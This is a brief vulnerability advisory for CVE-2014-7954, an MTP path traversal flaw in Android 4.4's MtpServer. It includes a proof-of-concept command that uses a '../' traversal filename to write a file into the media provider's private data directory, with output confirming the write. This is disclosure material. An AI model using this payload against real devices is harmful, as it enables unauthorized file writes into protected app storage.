MTP path traversal vulnerability in Android 4.4
doSendObjectInfo() method of the MtpServer class implemented in frameworks/av/media/mtp/MtpServer.cpp does not validate the name parameter of the incoming MTP packet at all.
It is possible to upload files outside of the sdcard using a specially crafted MTP request:
root@testpc:~/mtp-test# ./mtp-mysend sdf.txt \
../../../.././../data/data/com.android.providers.media/sdf.txt
libmtp version: 1.1.3
Device 0 (VID=18d1 and PID=4e42) is UNKNOWN.
Please report this VID/PID and the device model to the libmtp
development team
Android device detected, assigning default bug flags
Sending sdf.txt as ../../../../../../data/data/com.android.providers.media/sdf.txt
Sending file...
Progress: 25 of 25 (100%)
New file ID: 203
The file is written by the process com.android.providers.media, so files could be uploaded to locations where it had write permission:
root@grouper:/data/data/com.android.providers.media # ls -la
ls -la
drwxrwx--x u0_a6 u0_a6 2014-07-22 01:06 cache
drwxrwx--x u0_a6 u0_a6 2014-07-22 01:07 databases
lrwxrwxrwx install install 2014-07-22 01:05 lib -> /data/app-lib/com.android.providers.media
-rw-rw-r-- u0_a6 media_rw 13 2014-09-24 01:36 sdf.txt
drwxrwx--x u0_a6 u0_a6 2014-07-22 01:06 shared_prefs
Tested on: Android 4.4.4
Reported on: 2014-09-26
Assigned CVE: CVE-2014-7954
